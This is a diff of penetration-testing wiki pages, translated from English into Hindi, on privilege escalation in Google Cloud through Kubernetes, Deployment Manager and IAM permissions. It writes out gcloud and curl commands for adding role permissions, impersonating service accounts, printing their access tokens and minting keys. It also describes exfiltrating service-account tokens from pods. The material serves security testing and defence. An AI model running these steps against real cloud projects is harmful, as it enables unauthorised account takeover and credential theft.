यह अनुमति **Kubernetes क्लस्टर के लिए क्रेडेंशियल्स इकट्ठा करने** की अनुमति देती है, जैसे:
|
||||
```bash
|
||||
gcloud container clusters get-credentials <cluster_name> --zone <zone>
|
||||
```
|
||||
|
||||
Without extra permissions, the credentials are pretty basic as you can **just list some resource**, but hey are useful to find miss-configurations in the environment.
|
||||
बिना अतिरिक्त अनुमतियों के, क्रेडेंशियल्स काफी बुनियादी होते हैं क्योंकि आप **कुछ संसाधनों की सूची बना सकते हैं**, लेकिन ये वातावरण में गलत कॉन्फ़िगरेशन खोजने के लिए उपयोगी होते हैं।
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **kubernetes clusters might be configured to be private**, that will disallow that access to the Kube-API server from the Internet.
|
||||
|
||||
If you don't have this permission you can still access the cluster, but you need to **create your own kubectl config file** with the clusters info. A new generated one looks like this:
|
||||
> ध्यान दें कि **कुबेरनेट्स क्लस्टर को निजी रूप से कॉन्फ़िगर किया जा सकता है**, जो इंटरनेट से Kube-API सर्वर तक पहुंच को अस्वीकार करेगा।
|
||||
|
||||
यदि आपके पास यह अनुमति नहीं है, तो आप अभी भी क्लस्टर तक पहुंच सकते हैं, लेकिन आपको **क्लस्टर की जानकारी के साथ अपना खुद का kubectl कॉन्फ़िग फ़ाइल बनाना होगा**। एक नया उत्पन्न किया गया ऐसा दिखता है:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVMRENDQXBTZ0F3SUJBZ0lRRzNaQmJTSVlzeVRPR1FYODRyNDF3REFOQmdrcWhraUc5dzBCQVFzRkFEQXYKTVMwd0t3WURWUVFERXlRMk9UQXhZVEZoWlMweE56ZGxMVFF5TkdZdE9HVmhOaTAzWVdFM01qVmhNR05tTkdFdwpJQmNOTWpJeE1qQTBNakl4T1RJMFdoZ1BNakExTWpFeE1qWXlNekU1TWpSYU1DOHhMVEFyQmdOVkJBTVRKRFk1Ck1ERmhNV0ZsTFRFM04yVXROREkwWmkwNFpXRTJMVGRoWVRjeU5XRXdZMlkwWVRDQ0FhSXdEUVlKS29aSWh2Y04KQVFFQkJRQURnZ0dQQURDQ0FZb0NnZ0dCQU00TWhGemJ3Y3VEQXhiNGt5WndrNEdGNXRHaTZmb0pydExUWkI4Rgo5TDM4a2V2SUVWTHpqVmtoSklpNllnSHg4SytBUHl4RHJQaEhXMk5PczFNMmpyUXJLSHV6M0dXUEtRUmtUWElRClBoMy9MMDVtbURwRGxQK3hKdzI2SFFqdkE2Zy84MFNLakZjRXdKRVhZbkNMMy8yaFBFMzdxN3hZbktwTWdKVWYKVnoxOVhwNEhvbURvOEhUN2JXUTJKWTVESVZPTWNpbDhkdDZQd3FUYmlLNjJoQzNRTHozNzNIbFZxaiszNy90RgpmMmVwUUdFOG90a0VVOFlHQ3FsRTdzaVllWEFqbUQ4bFZENVc5dk1RNXJ0TW8vRHBTVGNxRVZUSzJQWk1rc0hyCmMwbGVPTS9LeXhnaS93TlBRdW5oQ2hnRUJIZTVzRmNxdmRLQ1pmUFovZVI1Qk0vc0w1WFNmTE9sWWJLa2xFL1YKNFBLNHRMVmpiYVg1VU9zMUZIVXMrL3IyL1BKQ2hJTkRaVTV2VjU0L1c5NWk4RnJZaUpEYUVGN0pveXJvUGNuMwpmTmNjQ2x1eGpOY1NsZ01ISGZKRzZqb0FXLzB0b2U3ek05RHlQOFh3NW44Zm5lQm5aVTFnYXNKREZIYVlZbXpGCitoQzFETmVaWXNibWNxOGVPVG9LOFBKRjZ3SURBUUFCbzBJd1FEQU9CZ05WSFE4QkFmOEVCQU1DQWdRd0R3WUQKVlIwVEFRSC9CQVV3QXdFQi96QWRCZ05WSFE0RUZnUVU5UkhvQXlxY3RWSDVIcmhQZ1BjYzF6Sm9kWFV3RFFZSgpLb1pJaHZjTkFRRUxCUUFEZ2dHQkFLbnp3VEx0QlJBVE1KRVB4TlBNbmU2UUNqZDJZTDgxcC9oeVc1eWpYb2w5CllkMTRRNFVlVUJJVXI0QmJadzl0LzRBQ3ZlYUttVENaRCswZ2wyNXVzNzB3VlFvZCtleVhEK2I1RFBwUUR3Z1gKbkJLcFFCY1NEMkpvZ29tT3M3U1lPdWVQUHNrODVvdWEwREpXLytQRkY1WU5ublc3Z1VLT2hNZEtKcnhuYUVGZAprVVl1TVdPT0d4U29qVndmNUsyOVNCbGJ5YXhDNS9tOWkxSUtXV2piWnZPN0s4TTlYLytkcDVSMVJobDZOSVNqCi91SmQ3TDF2R0crSjNlSjZneGs4U2g2L28yRnhxZWFNdDladWw4MFk4STBZaGxXVmlnSFMwZmVBUU1NSzUrNzkKNmozOWtTZHFBYlhPaUVOMzduOWp2dVlNN1ZvQzlNUk1oYUNyQVNhR2ZqWEhtQThCdlIyQW5iQThTVGpQKzlSMQp6VWRpK3dsZ0V4bnFvVFpBcUVHRktuUTlQcjZDaDYvR0xWWStqYXhuR3lyUHFPYlpNZTVXUDFOUGs4NkxHSlhCCjc1elFvanEyRUpxanBNSjgxT0gzSkxOeXRTdmt4UDFwYklxTzV4QUV0OWxRMjh4N28vbnRuaWh1WmR6M0lCRU8KODdjMDdPRGxYNUJQd0hIdzZtKzZjUT09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
|
||||
server: https://34.123.141.28
|
||||
name: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVMRENDQXBTZ0F3SUJBZ0lRRzNaQmJTSVlzeVRPR1FYODRyNDF3REFOQmdrcWhraUc5dzBCQVFzRkFEQXYKTVMwd0t3WURWUVFERXlRMk9UQXhZVEZoWlMweE56ZGxMVFF5TkdZdE9HVmhOaTAzWVdFM01qVmhNR05tTkdFdwpJQmNOTWpJeE1qQTBNakl4T1RJMFdoZ1BNakExTWpFeE1qWXlNekU1TWpSYU1DOHhMVEFyQmdOVkJBTVRKRFk1Ck1ERmhNV0ZsTFRFM04yVXROREkwWmkwNFpXRTJMVGRoWVRjeU5XRXdZMlkwWVRDQ0FhSXdEUVlKS29aSWh2Y04KQVFFQkJRQURnZ0dQQURDQ0FZb0NnZ0dCQU00TWhGemJ3Y3VEQXhiNGt5WndrNEdGNXRHaTZmb0pydExUWkI4Rgo5TDM4a2V2SUVWTHpqVmtoSklpNllnSHg4SytBUHl4RHJQaEhXMk5PczFNMmpyUXJLSHV6M0dXUEtRUmtUWElRClBoMy9MMDVtbURwRGxQK3hKdzI2SFFqdkE2Zy84MFNLakZjRXdKRVhZbkNMMy8yaFBFMzdxN3hZbktwTWdKVWYKVnoxOVhwNEhvbURvOEhUN2JXUTJKWTVESVZPTWNpbDhkdDZQd3FUYmlLNjJoQzNRTHozNzNIbFZxaiszNy90RgpmMmVwUUdFOG90a0VVOFlHQ3FsRTdzaVllWEFqbUQ4bFZENVc5dk1RNXJ0TW8vRHBTVGNxRVZUSzJQWk1rc0hyCmMwbGVPTS9LeXhnaS93TlBRdW5oQ2hnRUJIZTVzRmNxdmRLQ1pmUFovZVI1Qk0vc0w1WFNmTE9sWWJLa2xFL1YKNFBLNHRMVmpiYVg1VU9zMUZIVXMrL3IyL1BKQ2hJTkRaVTV2VjU0L1c5NWk4RnJZaUpEYUVGN0pveXJvUGNuMwpmTmNjQ2x1eGpOY1NsZ01ISGZKRzZqb0FXLzB0b2U3ek05RHlQOFh3NW44Zm5lQm5aVTFnYXNKREZIYVlZbXpGCitoQzFETmVaWXNibWNxOGVPVG9LOFBKRjZ3SURBUUFCbzBJd1FEQU9CZ05WSFE4QkFmOEVCQU1DQWdRd0R3WUQKVlIwVEFRSC9CQVV3QXdFQi96QWRCZ05WSFE0RUZnUVU5UkhvQXlxY3RWSDVIcmhQZ1BjYzF6Sm9kWFV3RFFZSgpLb1pJaHZjTkFRRUxCUUFEZ2dHQkFLbnp3VEx0QlJBVE1KRVB4TlBNbmU2UUNqZDJZTDgxcC9oeVc1eWpYb2w5CllkMTRRNFVlVUJJVXI0QmJadzl0LzRBQ3ZlYUttVENaRCswZ2wyNXVzNzB3VlFvZCtleVhEK2I1RFBwUUR3Z1gKbkJLcFFCY1NEMkpvZ29tT3M3U1lPdWVQUHNrODVvdWEwREpXLytQRkY1WU5ublc3Z1VLT2hNZEtKcnhuYUVGZAprVVl1TVdPT0d4U29qVndmNUsyOVNCbGJ5YXhDNS9tOWkxSUtXV2piWnZPN0s4TTlYLytkcDVSMVJobDZOSVNqCi91SmQ3TDF2R0crSjNlSjZneGs4U2g2L28yRnhxZWFNdDladWw4MFk4STBZaGxXVmlnSFMwZmVBUU1NSzUrNzkKNmozOWtTZHFBYlhPaUVOMzduOWp2dVlNN1ZvQzlNUk1oYUNyQVNhR2ZqWEhtQThCdlIyQW5iQThTVGpQKzlSMQp6VWRpK3dsZ0V4bnFvVFpBcUVHRktuUTlQcjZDaDYvR0xWWStqYXhuR3lyUHFPYlpNZTVXUDFOUGs4NkxHSlhCCjc1elFvanEyRUpxanBNSjgxT0gzSkxOeXRTdmt4UDFwYklxTzV4QUV0OWxRMjh4N28vbnRuaWh1WmR6M0lCRU8KODdjMDdPRGxYNUJQd0hIdzZtKzZjUT09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
|
||||
server: https://34.123.141.28
|
||||
name: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
contexts:
|
||||
- context:
|
||||
cluster: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
user: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
name: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
- context:
|
||||
cluster: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
user: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
name: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
current-context: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
user:
|
||||
auth-provider:
|
||||
config:
|
||||
access-token: <access token>
|
||||
cmd-args: config config-helper --format=json
|
||||
cmd-path: gcloud
|
||||
expiry: "2022-12-06T01:13:11Z"
|
||||
expiry-key: "{.credential.token_expiry}"
|
||||
token-key: "{.credential.access_token}"
|
||||
name: gcp
|
||||
- name: gke_security-devbox_us-central1_autopilot-cluster-1
|
||||
user:
|
||||
auth-provider:
|
||||
config:
|
||||
access-token: <access token>
|
||||
cmd-args: config config-helper --format=json
|
||||
cmd-path: gcloud
|
||||
expiry: "2022-12-06T01:13:11Z"
|
||||
expiry-key: "{.credential.token_expiry}"
|
||||
token-key: "{.credential.access_token}"
|
||||
name: gcp
|
||||
```
|
||||
|
||||
### `container.roles.escalate` | `container.clusterRoles.escalate`
|
||||
|
||||
**Kubernetes** by default **prevents** principals from being able to **create** or **update** **Roles** and **ClusterRoles** with **more permissions** that the ones the principal has. However, a **GCP** principal with that permissions will be **able to create/update Roles/ClusterRoles with more permissions** that ones he held, effectively bypassing the Kubernetes protection against this behaviour.
|
||||
**Kubernetes** डिफ़ॉल्ट रूप से **रोकता** है कि प्रिंसिपल **निर्माण** या **अपडेट** **Roles** और **ClusterRoles** को **अधिक अनुमतियों** के साथ कर सकें जो प्रिंसिपल के पास हैं। हालाँकि, एक **GCP** प्रिंसिपल जिसके पास वह अनुमतियाँ हैं, वह **अधिक अनुमतियों** के साथ Roles/ClusterRoles को **निर्माण/अपडेट** करने में **सक्षम** होगा, प्रभावी रूप से इस व्यवहार के खिलाफ Kubernetes की सुरक्षा को बायपास करते हुए।
|
||||
|
||||
**`container.roles.create`** and/or **`container.roles.update`** OR **`container.clusterRoles.create`** and/or **`container.clusterRoles.update`** respectively are **also** **necessary** to perform those privilege escalation actions.
|
||||
**`container.roles.create`** और/या **`container.roles.update`** या **`container.clusterRoles.create`** और/या **`container.clusterRoles.update`** क्रमशः उन विशेषाधिकार वृद्धि क्रियाओं को करने के लिए **भी** **आवश्यक** हैं।
|
||||
|
||||
### `container.roles.bind` | `container.clusterRoles.bind`
|
||||
|
||||
**Kubernetes** by default **prevents** principals from being able to **create** or **update** **RoleBindings** and **ClusterRoleBindings** to give **more permissions** that the ones the principal has. However, a **GCP** principal with that permissions will be **able to create/update RolesBindings/ClusterRolesBindings with more permissions** that ones he has, effectively bypassing the Kubernetes protection against this behaviour.
|
||||
**Kubernetes** डिफ़ॉल्ट रूप से **रोकता** है कि प्रिंसिपल **निर्माण** या **अपडेट** **RoleBindings** और **ClusterRoleBindings** को **अधिक अनुमतियों** के साथ कर सकें जो प्रिंसिपल के पास हैं। हालाँकि, एक **GCP** प्रिंसिपल जिसके पास वह अनुमतियाँ हैं, वह **अधिक अनुमतियों** के साथ RolesBindings/ClusterRolesBindings को **निर्माण/अपडेट** करने में **सक्षम** होगा, प्रभावी रूप से इस व्यवहार के खिलाफ Kubernetes की सुरक्षा को बायपास करते हुए।
|
||||
|
||||
**`container.roleBindings.create`** and/or **`container.roleBindings.update`** OR **`container.clusterRoleBindings.create`** and/or **`container.clusterRoleBindings.update`** respectively are also **necessary** to perform those privilege escalation actions.
|
||||
**`container.roleBindings.create`** और/या **`container.roleBindings.update`** या **`container.clusterRoleBindings.create`** और/या **`container.clusterRoleBindings.update`** क्रमशः उन विशेषाधिकार वृद्धि क्रियाओं को करने के लिए भी **आवश्यक** हैं।
|
||||
|
||||
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
|
||||
|
||||
All these permissions are going to allow you to **create or update a resource** where you can **define** a **pod**. Defining a pod you can **specify the SA** that is going to be **attached** and the **image** that is going to be **run**, therefore you can run an image that is going to **exfiltrate the token of the SA to your server** allowing you to escalate to any service account.\
|
||||
For more information check:
|
||||
इन सभी अनुमतियों से आपको **एक संसाधन बनाने या अपडेट करने** की अनुमति मिलेगी जहाँ आप **एक पोड** को **परिभाषित** कर सकते हैं। एक पोड को परिभाषित करते समय आप **SA** को **निर्धारित** कर सकते हैं जो **संलग्न** किया जाएगा और **छवि** जो **चलायी** जाएगी, इसलिए आप एक छवि चला सकते हैं जो **SA के टोकन को आपके सर्वर पर एक्सफिल्ट्रेट** करेगी जिससे आप किसी भी सेवा खाते में वृद्धि कर सकें।\
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
As we are in a GCP environment, you will also be able to **get the nodepool GCP SA** from the **metadata** service and **escalate privileges in GC**P (by default the compute SA is used).
|
||||
चूंकि हम एक GCP वातावरण में हैं, आप **मेटाडेटा** सेवा से **नोडपूल GCP SA** को भी **प्राप्त** कर सकेंगे और **GCP में विशेषाधिकार बढ़ा सकेंगे** (डिफ़ॉल्ट रूप से कंप्यूट SA का उपयोग किया जाता है)।
|
||||
|
||||
### `container.secrets.get` | `container.secrets.list`
|
||||
|
||||
As [**explained in this page**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets)with these permissions you can **read** the **tokens** of all the **SAs of kubernetes**, so you can escalate to them.
|
||||
जैसा कि [**इस पृष्ठ में समझाया गया है**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets)इन अनुमतियों के साथ आप **कुबेरनेट्स के सभी SA के टोकन** को **पढ़** सकते हैं, इसलिए आप उनके लिए विशेषाधिकार बढ़ा सकते हैं।
|
||||
|
||||
### `container.pods.exec`
|
||||
|
||||
With this permission you will be able to **exec into pods**, which gives you **access** to all the **Kubernetes SAs running in pods** to escalate privileges within K8s, but also you will be able to **steal** the **GCP Service Account** of the **NodePool**, **escalating privileges in GCP**.
|
||||
इस अनुमति के साथ आप **पोड्स में exec** करने में सक्षम होंगे, जो आपको **कुबरनेट्स SA** तक **पहुँच** प्रदान करता है जो पोड्स में चल रहे हैं ताकि आप K8s के भीतर विशेषाधिकार बढ़ा सकें, लेकिन आप **नोडपूल** का **GCP सेवा खाता** भी **चुरा** सकते हैं, **GCP में विशेषाधिकार बढ़ाते हुए**।
|
||||
|
||||
### `container.pods.portForward`
|
||||
|
||||
As **explained in this page**, with these permissions you can **access local services** running in **pods** that might allow you to **escalate privileges in Kubernetes** (and in **GCP** if somehow you manage to talk to the metadata service)**.**
|
||||
जैसा कि **इस पृष्ठ में समझाया गया है**, इन अनुमतियों के साथ आप **पोड्स** में चल रहे **स्थानीय सेवाओं** तक **पहुँच** प्राप्त कर सकते हैं जो आपको **कुबरनेट्स में विशेषाधिकार बढ़ाने** की अनुमति दे सकते हैं (और **GCP** में यदि आप किसी तरह मेटाडेटा सेवा से बात करने में सफल होते हैं)**।**
|
||||
|
||||
### `container.serviceAccounts.createToken`
|
||||
|
||||
Because of the **name** of the **permission**, it **looks like that it will allow you to generate tokens of the K8s Service Accounts**, so you will be able to **privesc to any SA** inside Kubernetes. However, I couldn't find any API endpoint to use it, so let me know if you find it.
|
||||
**अनुमति** के **नाम** के कारण, यह **लगता है कि यह आपको K8s सेवा खातों के टोकन उत्पन्न करने की अनुमति देगा**, इसलिए आप कुबेरनेट्स के भीतर **किसी भी SA** के लिए **privesc** कर सकेंगे। हालाँकि, मैंने इसका उपयोग करने के लिए कोई API एंडपॉइंट नहीं पाया, इसलिए मुझे बताएं यदि आप इसे खोजते हैं।
|
||||
|
||||
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
|
||||
|
||||
These permissions might allow you to escalate privileges in Kubernetes, but more probably, you could abuse them to **persist in the cluster**.\
|
||||
For more information [**follow this link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
|
||||
ये अनुमतियाँ आपको कुबेरनेट्स में विशेषाधिकार बढ़ाने की अनुमति दे सकती हैं, लेकिन अधिक संभावना है, आप उनका दुरुपयोग करके **क्लस्टर में स्थायी** हो सकते हैं।\
|
||||
अधिक जानकारी के लिए [**इस लिंक का पालन करें**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+6
-10
@@ -6,28 +6,24 @@
|
||||
|
||||
### `deploymentmanager.deployments.create`
|
||||
|
||||
This single permission lets you **launch new deployments** of resources into GCP with arbitrary service accounts. You could for example launch a compute instance with a SA to escalate to it.
|
||||
यह एकल अनुमति आपको **GCP में संसाधनों के नए डिप्लॉयमेंट लॉन्च करने** की अनुमति देती है, जिसमें मनचाहे सेवा खातों का उपयोग किया जा सकता है। उदाहरण के लिए, आप एक SA के साथ एक कंप्यूट इंस्टेंस लॉन्च कर सकते हैं ताकि उस पर बढ़त हासिल की जा सके।
|
||||
|
||||
You could actually **launch any resource** listed in `gcloud deployment-manager types list`
|
||||
आप वास्तव में **`gcloud deployment-manager types list`** में सूचीबद्ध किसी भी संसाधन को लॉन्च कर सकते हैं।
|
||||
|
||||
In the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) following[ **script**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/deploymentmanager.deployments.create.py) is used to deploy a compute instance, however that script won't work. Check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/1-deploymentmanager.deployments.create.sh)**.**
|
||||
[**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) में निम्नलिखित [**स्क्रिप्ट**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/deploymentmanager.deployments.create.py) का उपयोग एक कंप्यूट इंस्टेंस को डिप्लॉय करने के लिए किया गया है, हालाँकि वह स्क्रिप्ट काम नहीं करेगी। [**यहाँ एक स्क्रिप्ट देखें जो एक कमजोर वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/1-deploymentmanager.deployments.create.sh)**।**
|
||||
|
||||
### `deploymentmanager.deployments.update`
|
||||
|
||||
This is like the previous abuse but instead of creating a new deployment, you modifies one already existing (so be careful)
|
||||
यह पिछले दुरुपयोग की तरह है लेकिन नए डिप्लॉयमेंट बनाने के बजाय, आप पहले से मौजूद एक को संशोधित करते हैं (इसलिए सावधान रहें)।
|
||||
|
||||
Check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/e-deploymentmanager.deployments.update.sh)**.**
|
||||
[**यहाँ एक स्क्रिप्ट देखें जो एक कमजोर वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/e-deploymentmanager.deployments.update.sh)**।**
|
||||
|
||||
### `deploymentmanager.deployments.setIamPolicy`
|
||||
|
||||
This is like the previous abuse but instead of directly creating a new deployment, you first give you that access and then abuses the permission as explained in the previous _deploymentmanager.deployments.create_ section.
|
||||
यह पिछले दुरुपयोग की तरह है लेकिन सीधे नए डिप्लॉयमेंट बनाने के बजाय, आप पहले आपको वह पहुंच देते हैं और फिर पिछले _deploymentmanager.deployments.create_ अनुभाग में समझाए गए अनुसार अनुमति का दुरुपयोग करते हैं।
|
||||
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Find more information about IAM in:
|
||||
IAM के बारे में अधिक जानकारी प्राप्त करें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,137 +12,119 @@ Find more information about IAM in:
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
An attacker with the mentioned permissions will be able to update a role assigned to you and give you extra permissions to other resources like:
|
||||
|
||||
उल्लेखित अनुमतियों के साथ एक हमलावर आपके लिए असाइन की गई भूमिका को अपडेट कर सकेगा और आपको अन्य संसाधनों के लिए अतिरिक्त अनुमतियाँ दे सकेगा जैसे:
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
|
||||
You can find a script to automate the **creation, exploit and cleaning of a vuln environment here** and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
आप **यहां एक स्क्रिप्ट** पा सकते हैं जो **एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है** और इस विशेषाधिकार का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहां**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py) है। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
|
||||
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
An attacker with the mentioned permissions will be able to **request an access token that belongs to a Service Account**, so it's possible to request an access token of a Service Account with more privileges than ours.
|
||||
|
||||
उल्लेखित अनुमतियों के साथ एक हमलावर **एक सेवा खाते से संबंधित एक एक्सेस टोकन का अनुरोध करने में सक्षम होगा**, इसलिए यह संभव है कि एक सेवा खाते का एक्सेस टोकन अनुरोध किया जाए जिसमें हमारे से अधिक विशेषाधिकार हों।
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
auth print-access-token
|
||||
```
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
आप [**यहां**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) एक स्क्रिप्ट पा सकते हैं जो एक vuln वातावरण के **निर्माण, शोषण और सफाई** को स्वचालित करती है और इस विशेषता का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहां**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py) है। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
An attacker with the mentioned permissions will be able to **create a user-managed key for a Service Account**, which will allow us to access GCP as that Service Account.
|
||||
|
||||
उपरोक्त अनुमतियों के साथ एक हमलावर **एक सेवा खाते के लिए एक उपयोगकर्ता-प्रबंधित कुंजी बनाने** में सक्षम होगा, जो हमें उस सेवा खाते के रूप में GCP तक पहुंचने की अनुमति देगा।
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
आप [**यहां**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) एक स्क्रिप्ट पा सकते हैं जो एक vuln वातावरण के [**निर्माण, शोषण और सफाई**] को स्वचालित करती है और इस विशेषता का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहां**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py) है। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) की जांच करें।
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Note that **`iam.serviceAccountKeys.update` won't work to modify the key** of a SA because to do that the permissions `iam.serviceAccountKeys.create` is also needed.
|
||||
ध्यान दें कि **`iam.serviceAccountKeys.update` एक SA की कुंजी को संशोधित करने के लिए काम नहीं करेगा** क्योंकि ऐसा करने के लिए `iam.serviceAccountKeys.create` अनुमति भी आवश्यक है।
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
If you have the **`iam.serviceAccounts.implicitDelegation`** permission on a Service Account that has the **`iam.serviceAccounts.getAccessToken`** permission on a third Service Account, then you can use implicitDelegation to **create a token for that third Service Account**. Here is a diagram to help explain.
|
||||
यदि आपके पास एक सेवा खाते पर **`iam.serviceAccounts.implicitDelegation`** अनुमति है जो तीसरे सेवा खाते पर **`iam.serviceAccounts.getAccessToken`** अनुमति रखता है, तो आप उस तीसरे सेवा खाते के लिए **एक टोकन बनाने के लिए implicitDelegation का उपयोग कर सकते हैं**। इसे समझाने के लिए यहां एक चित्र है।
|
||||
|
||||

|
||||
|
||||
Note that according to the [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), the delegation of `gcloud` only works to generate a token using the [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) method. So here you have how to get a token using the API directly:
|
||||
|
||||
ध्यान दें कि [**दस्तावेज़ीकरण**](https://cloud.google.com/iam/docs/understanding-service-accounts) के अनुसार, `gcloud` का प्रतिनिधित्व केवल [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) विधि का उपयोग करके एक टोकन उत्पन्न करने के लिए काम करता है। तो यहां आपके पास सीधे API का उपयोग करके एक टोकन प्राप्त करने का तरीका है:
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
|
||||
-d '{
|
||||
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
|
